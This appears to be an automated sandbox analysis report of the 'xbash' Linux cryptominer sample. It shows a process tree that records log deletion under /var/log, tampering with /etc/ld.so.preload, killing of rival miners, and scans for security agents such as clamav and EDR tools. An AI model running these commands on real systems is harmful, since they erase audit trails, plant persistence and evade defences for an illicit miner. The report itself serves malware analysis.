Overview

overview

10

Static

static

1

xbash

ubuntu-18.04-amd64

9

xbash

debian-9-armhf

10

xbash

debian-9-mips

10

xbash

debian-9-mipsel

10

Analysis

  • max time kernel
    27s
  • max time network
    127s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20221111-en
  • resource tags

    arch:armhfimage:debian9-armhf-20221111-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    26/04/2023, 01:43

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    xbash
  • Size 51KB
  • Sample230426-b5ec6agc2x
  • SHA256 ece03e94521d55f8903f9aca43d4e8926499559267eb1b5730acd62d69eb451e
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
xmrig_linuxminerpersistence

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig_linux
  • Deletes system logs 1 TTPs 25 IoCs
  • Modifies the dynamic linker configuration file 1 TTPs 1 IoCs

    Malware can modify the configuration file of the dynamic linker to preload malicous libraries with every executed process.

    persistence
  • Executes dropped EXE 1 IoCs
  • Reads CPU attributes 1 TTPs 44 IoCs
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 4 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/xbash
    /tmp/xbash
    1⤵
      PID:371
      • dirname
        dirname /tmp/xbash
        2⤵
          PID:373
        • id
          id -u
          2⤵
            PID:374
          • mkdir
            mkdir /tmp/selfgz371
            2⤵
              PID:375
            • expr
              expr 53053 - 18556
              2⤵
                PID:393
              • basename
                basename /usr/bin/shasum
                2⤵
                  PID:397
                • basename
                  basename /usr/bin/md5sum
                  2⤵
                    PID:401
                  • expr
                    expr 1 + 1
                    2⤵
                      PID:428
                    • expr
                      expr 18556 + 34497
                      2⤵
                        PID:429
                      • expr
                        expr 18556 + 34497
                        2⤵
                          PID:462
                        • ./cronman
                          ./cronman
                          2⤵
                            PID:463
                            • basename
                              basename ./cronman
                              3⤵
                                PID:467
                              • grep
                                grep -a xfit /root/.bashrc
                                3⤵
                                  PID:472
                                • rm
                                  rm -rf "/home/*/.local/share/Trash/*/**"
                                  3⤵
                                    PID:473
                                  • rm
                                    rm -rf "/root/.local/share/Trash/*/**"
                                    3⤵
                                      PID:474
                                    • rm
                                      rm -rf /usr/share/man/cs /usr/share/man/da /usr/share/man/de /usr/share/man/es /usr/share/man/fi /usr/share/man/fr /usr/share/man/hu /usr/share/man/id /usr/share/man/it /usr/share/man/ja /usr/share/man/ko /usr/share/man/nl /usr/share/man/pl /usr/share/man/pt /usr/share/man/ru /usr/share/man/sl /usr/share/man/sv /usr/share/man/tr
                                      3⤵
                                        PID:475
                                      • rm
                                        rm -rf /usr/share/man/pt_BR /usr/share/man/zh_CN /usr/share/man/zh_TW
                                        3⤵
                                          PID:476
                                        • rm
                                          rm -rf /var/log/alternatives.log /var/log/apt /var/log/auth.log /var/log/btmp /var/log/daemon.log /var/log/debug /var/log/dpkg.log /var/log/faillog /var/log/installer /var/log/kern.log /var/log/lastlog /var/log/messages /var/log/syslog /var/log/wtmp /var/log/. /var/log/..
                                          3⤵
                                          • Deletes system logs
                                          PID:477
                                        • rm
                                          rm -rf "/core.*"
                                          3⤵
                                            PID:478
                                          • mkdir
                                            mkdir /tmp
                                            3⤵
                                              PID:479
                                            • basename
                                              basename ./cronman
                                              3⤵
                                                PID:483
                                              • mkdir
                                                mkdir /etc/xbash
                                                3⤵
                                                  PID:484
                                              • /tmp/selfgz371/.cronman
                                                /tmp/selfgz371/.cronman
                                                2⤵
                                                  PID:463
                                                  • sysctl
                                                    sysctl "kernel.pid_max=4194304"
                                                    3⤵
                                                    • Reads CPU attributes
                                                    PID:520
                                                  • basename
                                                    basename /tmp/selfgz371/.cronman
                                                    3⤵
                                                      PID:524
                                                    • grep
                                                      grep -a xfit /root/.bashrc
                                                      3⤵
                                                        PID:532
                                                      • mkdir
                                                        mkdir /tmp
                                                        3⤵
                                                          PID:533
                                                        • chmod
                                                          chmod 755 /etc/ld.so.preload
                                                          3⤵
                                                            PID:534
                                                          • ps
                                                            ps -eaf
                                                            3⤵
                                                            • Reads CPU attributes
                                                            • Reads runtime system information
                                                            PID:535
                                                          • grep
                                                            grep spend-secret-key
                                                            3⤵
                                                              PID:536
                                                            • grep
                                                              grep -v grep
                                                              3⤵
                                                                PID:537
                                                              • grep
                                                                grep -v "[d]efunct"
                                                                3⤵
                                                                  PID:538
                                                                • awk
                                                                  awk "{ print \$2 }"
                                                                  3⤵
                                                                    PID:539
                                                                  • xargs
                                                                    xargs kill -9
                                                                    3⤵
                                                                      PID:540
                                                                      • kill
                                                                        kill -9
                                                                        4⤵
                                                                          PID:541
                                                                        • kill
                                                                          kill -9
                                                                          4⤵
                                                                            PID:541
                                                                          • kill
                                                                            kill -9
                                                                            4⤵
                                                                              PID:541
                                                                            • kill
                                                                              kill -9
                                                                              4⤵
                                                                                PID:541
                                                                              • kill
                                                                                kill -9
                                                                                4⤵
                                                                                  PID:541
                                                                                • kill
                                                                                  kill -9
                                                                                  4⤵
                                                                                  • Reads CPU attributes
                                                                                  PID:541
                                                                              • ps
                                                                                ps -eaf
                                                                                3⤵
                                                                                • Reads CPU attributes
                                                                                • Reads runtime system information
                                                                                PID:542
                                                                              • grep
                                                                                grep -- "\\-\\-algo"
                                                                                3⤵
                                                                                  PID:543
                                                                                • grep
                                                                                  grep -v grep
                                                                                  3⤵
                                                                                    PID:544
                                                                                  • grep
                                                                                    grep -v "[d]efunct"
                                                                                    3⤵
                                                                                      PID:545
                                                                                    • awk
                                                                                      awk "{ print \$2 }"
                                                                                      3⤵
                                                                                        PID:546
                                                                                      • xargs
                                                                                        xargs kill -9
                                                                                        3⤵
                                                                                          PID:547
                                                                                          • kill
                                                                                            kill -9
                                                                                            4⤵
                                                                                              PID:548
                                                                                            • kill
                                                                                              kill -9
                                                                                              4⤵
                                                                                                PID:548
                                                                                              • kill
                                                                                                kill -9
                                                                                                4⤵
                                                                                                  PID:548
                                                                                                • kill
                                                                                                  kill -9
                                                                                                  4⤵
                                                                                                    PID:548
                                                                                                  • kill
                                                                                                    kill -9
                                                                                                    4⤵
                                                                                                      PID:548
                                                                                                    • kill
                                                                                                      kill -9
                                                                                                      4⤵
                                                                                                      • Reads CPU attributes
                                                                                                      PID:548
                                                                                                  • ps
                                                                                                    ps -eaf
                                                                                                    3⤵
                                                                                                    • Reads CPU attributes
                                                                                                    • Reads runtime system information
                                                                                                    PID:549
                                                                                                  • grep
                                                                                                    grep -- "\\-\\-url"
                                                                                                    3⤵
                                                                                                      PID:550
                                                                                                    • grep
                                                                                                      grep -v grep
                                                                                                      3⤵
                                                                                                        PID:551
                                                                                                      • grep
                                                                                                        grep -v "[d]efunct"
                                                                                                        3⤵
                                                                                                          PID:552
                                                                                                        • awk
                                                                                                          awk "{ print \$2 }"
                                                                                                          3⤵
                                                                                                            PID:553
                                                                                                          • xargs
                                                                                                            xargs kill -9
                                                                                                            3⤵
                                                                                                              PID:554
                                                                                                              • kill
                                                                                                                kill -9
                                                                                                                4⤵
                                                                                                                  PID:555
                                                                                                                • kill
                                                                                                                  kill -9
                                                                                                                  4⤵
                                                                                                                    PID:555
                                                                                                                  • kill
                                                                                                                    kill -9
                                                                                                                    4⤵
                                                                                                                      PID:555
                                                                                                                    • kill
                                                                                                                      kill -9
                                                                                                                      4⤵
                                                                                                                        PID:555
                                                                                                                      • kill
                                                                                                                        kill -9
                                                                                                                        4⤵
                                                                                                                          PID:555
                                                                                                                        • kill
                                                                                                                          kill -9
                                                                                                                          4⤵
                                                                                                                          • Reads CPU attributes
                                                                                                                          PID:555
                                                                                                                      • ps
                                                                                                                        ps -eaf
                                                                                                                        3⤵
                                                                                                                        • Reads CPU attributes
                                                                                                                        • Reads runtime system information
                                                                                                                        PID:556
                                                                                                                      • grep
                                                                                                                        grep -- "\\-\\-donate-level"
                                                                                                                        3⤵
                                                                                                                          PID:557
                                                                                                                        • grep
                                                                                                                          grep -v grep
                                                                                                                          3⤵
                                                                                                                            PID:558
                                                                                                                          • grep
                                                                                                                            grep -v "[d]efunct"
                                                                                                                            3⤵
                                                                                                                              PID:559
                                                                                                                            • awk
                                                                                                                              awk "{ print \$2 }"
                                                                                                                              3⤵
                                                                                                                                PID:560
                                                                                                                              • xargs
                                                                                                                                xargs kill -9
                                                                                                                                3⤵
                                                                                                                                  PID:561
                                                                                                                                  • kill
                                                                                                                                    kill -9
                                                                                                                                    4⤵
                                                                                                                                      PID:562
                                                                                                                                    • kill
                                                                                                                                      kill -9
                                                                                                                                      4⤵
                                                                                                                                        PID:562
                                                                                                                                      • kill
                                                                                                                                        kill -9
                                                                                                                                        4⤵
                                                                                                                                          PID:562
                                                                                                                                        • kill
                                                                                                                                          kill -9
                                                                                                                                          4⤵
                                                                                                                                            PID:562
                                                                                                                                          • kill
                                                                                                                                            kill -9
                                                                                                                                            4⤵
                                                                                                                                              PID:562
                                                                                                                                            • kill
                                                                                                                                              kill -9
                                                                                                                                              4⤵
                                                                                                                                              • Reads CPU attributes
                                                                                                                                              PID:562
                                                                                                                                          • ps
                                                                                                                                            ps -eaf
                                                                                                                                            3⤵
                                                                                                                                            • Reads CPU attributes
                                                                                                                                            • Reads runtime system information
                                                                                                                                            PID:563
                                                                                                                                          • grep
                                                                                                                                            grep minerd
                                                                                                                                            3⤵
                                                                                                                                              PID:564
                                                                                                                                            • grep
                                                                                                                                              grep -v grep
                                                                                                                                              3⤵
                                                                                                                                                PID:565
                                                                                                                                              • grep
                                                                                                                                                grep -v "[d]efunct"
                                                                                                                                                3⤵
                                                                                                                                                  PID:566
                                                                                                                                                • awk
                                                                                                                                                  awk "{ print \$2 }"
                                                                                                                                                  3⤵
                                                                                                                                                    PID:567
                                                                                                                                                  • xargs
                                                                                                                                                    xargs kill -9
                                                                                                                                                    3⤵
                                                                                                                                                      PID:568
                                                                                                                                                      • kill
                                                                                                                                                        kill -9
                                                                                                                                                        4⤵
                                                                                                                                                          PID:569
                                                                                                                                                        • kill
                                                                                                                                                          kill -9
                                                                                                                                                          4⤵
                                                                                                                                                            PID:569
                                                                                                                                                          • kill
                                                                                                                                                            kill -9
                                                                                                                                                            4⤵
                                                                                                                                                              PID:569
                                                                                                                                                            • kill
                                                                                                                                                              kill -9
                                                                                                                                                              4⤵
                                                                                                                                                                PID:569
                                                                                                                                                              • kill
                                                                                                                                                                kill -9
                                                                                                                                                                4⤵
                                                                                                                                                                  PID:569
                                                                                                                                                                • kill
                                                                                                                                                                  kill -9
                                                                                                                                                                  4⤵
                                                                                                                                                                  • Reads CPU attributes
                                                                                                                                                                  PID:569
                                                                                                                                                              • ps
                                                                                                                                                                ps -eaf
                                                                                                                                                                3⤵
                                                                                                                                                                • Reads CPU attributes
                                                                                                                                                                • Reads runtime system information
                                                                                                                                                                PID:570
                                                                                                                                                              • grep
                                                                                                                                                                grep xmr
                                                                                                                                                                3⤵
                                                                                                                                                                  PID:571
                                                                                                                                                                • grep
                                                                                                                                                                  grep -v grep
                                                                                                                                                                  3⤵
                                                                                                                                                                    PID:572
                                                                                                                                                                  • grep
                                                                                                                                                                    grep -v "[d]efunct"
                                                                                                                                                                    3⤵
                                                                                                                                                                      PID:573
                                                                                                                                                                    • awk
                                                                                                                                                                      awk "{ print \$2 }"
                                                                                                                                                                      3⤵
                                                                                                                                                                        PID:574
                                                                                                                                                                      • xargs
                                                                                                                                                                        xargs kill -9
                                                                                                                                                                        3⤵
                                                                                                                                                                          PID:575
                                                                                                                                                                          • kill
                                                                                                                                                                            kill -9
                                                                                                                                                                            4⤵
                                                                                                                                                                              PID:576
                                                                                                                                                                            • kill
                                                                                                                                                                              kill -9
                                                                                                                                                                              4⤵
                                                                                                                                                                                PID:576
                                                                                                                                                                              • kill
                                                                                                                                                                                kill -9
                                                                                                                                                                                4⤵
                                                                                                                                                                                  PID:576
                                                                                                                                                                                • kill
                                                                                                                                                                                  kill -9
                                                                                                                                                                                  4⤵
                                                                                                                                                                                    PID:576
                                                                                                                                                                                  • kill
                                                                                                                                                                                    kill -9
                                                                                                                                                                                    4⤵
                                                                                                                                                                                      PID:576
                                                                                                                                                                                    • kill
                                                                                                                                                                                      kill -9
                                                                                                                                                                                      4⤵
                                                                                                                                                                                      • Reads CPU attributes
                                                                                                                                                                                      PID:576
                                                                                                                                                                                  • ps
                                                                                                                                                                                    ps -eaf
                                                                                                                                                                                    3⤵
                                                                                                                                                                                    • Reads CPU attributes
                                                                                                                                                                                    • Reads runtime system information
                                                                                                                                                                                    PID:577
                                                                                                                                                                                  • grep
                                                                                                                                                                                    grep cryptonight
                                                                                                                                                                                    3⤵
                                                                                                                                                                                      PID:578
                                                                                                                                                                                    • grep
                                                                                                                                                                                      grep -v grep
                                                                                                                                                                                      3⤵
                                                                                                                                                                                        PID:579
                                                                                                                                                                                      • grep
                                                                                                                                                                                        grep -v "[d]efunct"
                                                                                                                                                                                        3⤵
                                                                                                                                                                                          PID:580
                                                                                                                                                                                        • awk
                                                                                                                                                                                          awk "{ print \$2 }"
                                                                                                                                                                                          3⤵
                                                                                                                                                                                            PID:581
                                                                                                                                                                                          • xargs
                                                                                                                                                                                            xargs kill -9
                                                                                                                                                                                            3⤵
                                                                                                                                                                                              PID:582
                                                                                                                                                                                              • kill
                                                                                                                                                                                                kill -9
                                                                                                                                                                                                4⤵
                                                                                                                                                                                                  PID:583
                                                                                                                                                                                                • kill
                                                                                                                                                                                                  kill -9
                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                    PID:583
                                                                                                                                                                                                  • kill
                                                                                                                                                                                                    kill -9
                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                      PID:583
                                                                                                                                                                                                    • kill
                                                                                                                                                                                                      kill -9
                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                        PID:583
                                                                                                                                                                                                      • kill
                                                                                                                                                                                                        kill -9
                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                          PID:583
                                                                                                                                                                                                        • kill
                                                                                                                                                                                                          kill -9
                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                          • Reads CPU attributes
                                                                                                                                                                                                          PID:583
                                                                                                                                                                                                      • pkill
                                                                                                                                                                                                        pkill -9 xmrig
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                        • Reads CPU attributes
                                                                                                                                                                                                        PID:584
                                                                                                                                                                                                      • pkill
                                                                                                                                                                                                        pkill -f xmrig
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                        • Reads CPU attributes
                                                                                                                                                                                                        • Reads runtime system information
                                                                                                                                                                                                        PID:585
                                                                                                                                                                                                      • pkill
                                                                                                                                                                                                        pkill -f Loopback
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                        • Reads CPU attributes
                                                                                                                                                                                                        PID:586
                                                                                                                                                                                                      • pkill
                                                                                                                                                                                                        pkill -f apaceha
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                        • Reads CPU attributes
                                                                                                                                                                                                        • Reads runtime system information
                                                                                                                                                                                                        PID:587
                                                                                                                                                                                                      • pkill
                                                                                                                                                                                                        pkill -f cryptonight
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                        • Reads CPU attributes
                                                                                                                                                                                                        PID:588
                                                                                                                                                                                                      • pkill
                                                                                                                                                                                                        pkill -f stratum
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                        • Reads CPU attributes
                                                                                                                                                                                                        • Reads runtime system information
                                                                                                                                                                                                        PID:589
                                                                                                                                                                                                      • pkill
                                                                                                                                                                                                        pkill -f minerd
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                        • Reads CPU attributes
                                                                                                                                                                                                        • Reads runtime system information
                                                                                                                                                                                                        PID:590
                                                                                                                                                                                                      • pkill
                                                                                                                                                                                                        pkill -9 log-rotate
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                        • Reads CPU attributes
                                                                                                                                                                                                        • Reads runtime system information
                                                                                                                                                                                                        PID:591
                                                                                                                                                                                                      • pkill
                                                                                                                                                                                                        pkill -9 warmun
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                        • Reads CPU attributes
                                                                                                                                                                                                        • Reads runtime system information
                                                                                                                                                                                                        PID:592
                                                                                                                                                                                                      • pkill
                                                                                                                                                                                                        pkill -9 kinettd
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                        • Reads CPU attributes
                                                                                                                                                                                                        • Reads runtime system information
                                                                                                                                                                                                        PID:593
                                                                                                                                                                                                      • ps
                                                                                                                                                                                                        ps cax
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                        • Reads CPU attributes
                                                                                                                                                                                                        • Reads runtime system information
                                                                                                                                                                                                        PID:594
                                                                                                                                                                                                      • grep
                                                                                                                                                                                                        grep -v grep
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                          PID:595
                                                                                                                                                                                                        • grep
                                                                                                                                                                                                          grep -v "[d]efunct"
                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                            PID:596
                                                                                                                                                                                                          • grep
                                                                                                                                                                                                            grep top.sh
                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                              PID:597
                                                                                                                                                                                                            • ps
                                                                                                                                                                                                              ps cax
                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                              • Reads CPU attributes
                                                                                                                                                                                                              • Reads runtime system information
                                                                                                                                                                                                              PID:598
                                                                                                                                                                                                            • grep
                                                                                                                                                                                                              grep -v grep
                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                PID:599
                                                                                                                                                                                                              • grep
                                                                                                                                                                                                                grep -v "[d]efunct"
                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                  PID:600
                                                                                                                                                                                                                • grep
                                                                                                                                                                                                                  grep ds_agent
                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                    PID:601
                                                                                                                                                                                                                  • ps
                                                                                                                                                                                                                    ps cax
                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                    • Reads CPU attributes
                                                                                                                                                                                                                    • Reads runtime system information
                                                                                                                                                                                                                    PID:602
                                                                                                                                                                                                                  • grep
                                                                                                                                                                                                                    grep -v grep
                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                      PID:603
                                                                                                                                                                                                                    • grep
                                                                                                                                                                                                                      grep -v "[d]efunct"
                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                        PID:604
                                                                                                                                                                                                                      • grep
                                                                                                                                                                                                                        grep vm-agent
                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                          PID:605
                                                                                                                                                                                                                        • ps
                                                                                                                                                                                                                          ps cax
                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                          • Reads CPU attributes
                                                                                                                                                                                                                          • Reads runtime system information
                                                                                                                                                                                                                          PID:608
                                                                                                                                                                                                                        • grep
                                                                                                                                                                                                                          grep -v grep
                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                            PID:609
                                                                                                                                                                                                                          • grep
                                                                                                                                                                                                                            grep -v "[d]efunct"
                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                              PID:610
                                                                                                                                                                                                                            • grep
                                                                                                                                                                                                                              grep mysqll
                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                PID:611
                                                                                                                                                                                                                              • ps
                                                                                                                                                                                                                                ps cax
                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                • Reads CPU attributes
                                                                                                                                                                                                                                • Reads runtime system information
                                                                                                                                                                                                                                PID:612
                                                                                                                                                                                                                              • grep
                                                                                                                                                                                                                                grep -v grep
                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                  PID:613
                                                                                                                                                                                                                                • grep
                                                                                                                                                                                                                                  grep -v "[d]efunct"
                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                    PID:614
                                                                                                                                                                                                                                  • grep
                                                                                                                                                                                                                                    grep linux_client
                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                      PID:615
                                                                                                                                                                                                                                    • ps
                                                                                                                                                                                                                                      ps -eaf
                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                      • Reads CPU attributes
                                                                                                                                                                                                                                      • Reads runtime system information
                                                                                                                                                                                                                                      PID:616
                                                                                                                                                                                                                                    • grep
                                                                                                                                                                                                                                      grep linux_client
                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                        PID:617
                                                                                                                                                                                                                                      • grep
                                                                                                                                                                                                                                        grep -v grep
                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                          PID:618
                                                                                                                                                                                                                                        • grep
                                                                                                                                                                                                                                          grep -v "[d]efunct"
                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                            PID:619
                                                                                                                                                                                                                                          • awk
                                                                                                                                                                                                                                            awk "{ print \$2 }"
                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                              PID:620
                                                                                                                                                                                                                                            • xargs
                                                                                                                                                                                                                                              xargs kill -9
                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                PID:621
                                                                                                                                                                                                                                                • kill
                                                                                                                                                                                                                                                  kill -9
                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                    PID:622
                                                                                                                                                                                                                                                  • kill
                                                                                                                                                                                                                                                    kill -9
                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                      PID:622
                                                                                                                                                                                                                                                    • kill
                                                                                                                                                                                                                                                      kill -9
                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                        PID:622
                                                                                                                                                                                                                                                      • kill
                                                                                                                                                                                                                                                        kill -9
                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                          PID:622
                                                                                                                                                                                                                                                        • kill
                                                                                                                                                                                                                                                          kill -9
                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                            PID:622
                                                                                                                                                                                                                                                          • kill
                                                                                                                                                                                                                                                            kill -9
                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                            • Reads CPU attributes
                                                                                                                                                                                                                                                            PID:622
                                                                                                                                                                                                                                                        • ps
                                                                                                                                                                                                                                                          ps cax
                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                          • Reads CPU attributes
                                                                                                                                                                                                                                                          • Reads runtime system information
                                                                                                                                                                                                                                                          PID:623
                                                                                                                                                                                                                                                        • grep
                                                                                                                                                                                                                                                          grep -v grep
                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                            PID:624
                                                                                                                                                                                                                                                          • grep
                                                                                                                                                                                                                                                            grep -v "[d]efunct"
                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                              PID:625
                                                                                                                                                                                                                                                            • grep
                                                                                                                                                                                                                                                              grep edr_agent
                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                PID:626
                                                                                                                                                                                                                                                              • ps
                                                                                                                                                                                                                                                                ps -eo cmd
                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                • Reads CPU attributes
                                                                                                                                                                                                                                                                • Reads runtime system information
                                                                                                                                                                                                                                                                PID:627
                                                                                                                                                                                                                                                              • grep
                                                                                                                                                                                                                                                                grep -v grep
                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                  PID:628
                                                                                                                                                                                                                                                                • grep
                                                                                                                                                                                                                                                                  grep -v "[d]efunct"
                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                    PID:629
                                                                                                                                                                                                                                                                  • grep
                                                                                                                                                                                                                                                                    grep edr_agent
                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                      PID:630
                                                                                                                                                                                                                                                                    • ps
                                                                                                                                                                                                                                                                      ps -eo cmd
                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                      • Reads CPU attributes
                                                                                                                                                                                                                                                                      PID:631
                                                                                                                                                                                                                                                                    • grep
                                                                                                                                                                                                                                                                      grep -v grep
                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                        PID:632
                                                                                                                                                                                                                                                                      • grep
                                                                                                                                                                                                                                                                        grep cwpp_agent
                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                          PID:633
                                                                                                                                                                                                                                                                        • ps
                                                                                                                                                                                                                                                                          ps -eo cmd
                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                          • Reads CPU attributes
                                                                                                                                                                                                                                                                          • Reads runtime system information
                                                                                                                                                                                                                                                                          PID:634
                                                                                                                                                                                                                                                                        • grep
                                                                                                                                                                                                                                                                          grep -v grep
                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                            PID:635
                                                                                                                                                                                                                                                                          • grep
                                                                                                                                                                                                                                                                            grep -v "[d]efunct"
                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                              PID:636
                                                                                                                                                                                                                                                                            • grep
                                                                                                                                                                                                                                                                              grep ds_agent
                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                PID:637
                                                                                                                                                                                                                                                                              • ps
                                                                                                                                                                                                                                                                                ps cax
                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                • Reads CPU attributes
                                                                                                                                                                                                                                                                                • Reads runtime system information
                                                                                                                                                                                                                                                                                PID:638
                                                                                                                                                                                                                                                                              • grep
                                                                                                                                                                                                                                                                                grep -v grep
                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                  PID:639
                                                                                                                                                                                                                                                                                • grep
                                                                                                                                                                                                                                                                                  grep -v "[d]efunct"
                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                    PID:640
                                                                                                                                                                                                                                                                                  • grep
                                                                                                                                                                                                                                                                                    grep guard_client
                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                      PID:641
                                                                                                                                                                                                                                                                                    • ps
                                                                                                                                                                                                                                                                                      ps -eo cmd
                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                      • Reads CPU attributes
                                                                                                                                                                                                                                                                                      • Reads runtime system information
                                                                                                                                                                                                                                                                                      PID:642
                                                                                                                                                                                                                                                                                    • grep
                                                                                                                                                                                                                                                                                      grep -v grep
                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                        PID:643
                                                                                                                                                                                                                                                                                      • grep
                                                                                                                                                                                                                                                                                        grep -v "[d]efunct"
                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                          PID:644
                                                                                                                                                                                                                                                                                        • grep
                                                                                                                                                                                                                                                                                          grep qaxsafe
                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                            PID:645
                                                                                                                                                                                                                                                                                          • ps
                                                                                                                                                                                                                                                                                            ps -eo cmd
                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                            • Reads CPU attributes
                                                                                                                                                                                                                                                                                            • Reads runtime system information
                                                                                                                                                                                                                                                                                            PID:646
                                                                                                                                                                                                                                                                                          • grep
                                                                                                                                                                                                                                                                                            grep -v grep
                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                              PID:647
                                                                                                                                                                                                                                                                                            • grep
                                                                                                                                                                                                                                                                                              grep -v "[d]efunct"
                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                PID:648
                                                                                                                                                                                                                                                                                              • grep
                                                                                                                                                                                                                                                                                                grep clamav
                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                  PID:649
                                                                                                                                                                                                                                                                                                • ps
                                                                                                                                                                                                                                                                                                  ps -eo cmd
                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                  • Reads CPU attributes
                                                                                                                                                                                                                                                                                                  PID:650
                                                                                                                                                                                                                                                                                                • grep
                                                                                                                                                                                                                                                                                                  grep -v grep
                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                    PID:651
                                                                                                                                                                                                                                                                                                  • grep
                                                                                                                                                                                                                                                                                                    grep -v "[d]efunct"
                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                      PID:652
                                                                                                                                                                                                                                                                                                    • grep
                                                                                                                                                                                                                                                                                                      grep 360safed
                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                        PID:653
                                                                                                                                                                                                                                                                                                      • ps
                                                                                                                                                                                                                                                                                                        ps -eo cmd
                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                        • Reads CPU attributes
                                                                                                                                                                                                                                                                                                        • Reads runtime system information
                                                                                                                                                                                                                                                                                                        PID:654
                                                                                                                                                                                                                                                                                                      • grep
                                                                                                                                                                                                                                                                                                        grep -v grep
                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                          PID:655
                                                                                                                                                                                                                                                                                                        • grep
                                                                                                                                                                                                                                                                                                          grep -v "[d]efunct"
                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                            PID:656
                                                                                                                                                                                                                                                                                                          • grep
                                                                                                                                                                                                                                                                                                            grep eppagent
                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                              PID:657
                                                                                                                                                                                                                                                                                                            • rm
                                                                                                                                                                                                                                                                                                              rm -rf "/home/*/.local/share/Trash/*/**"
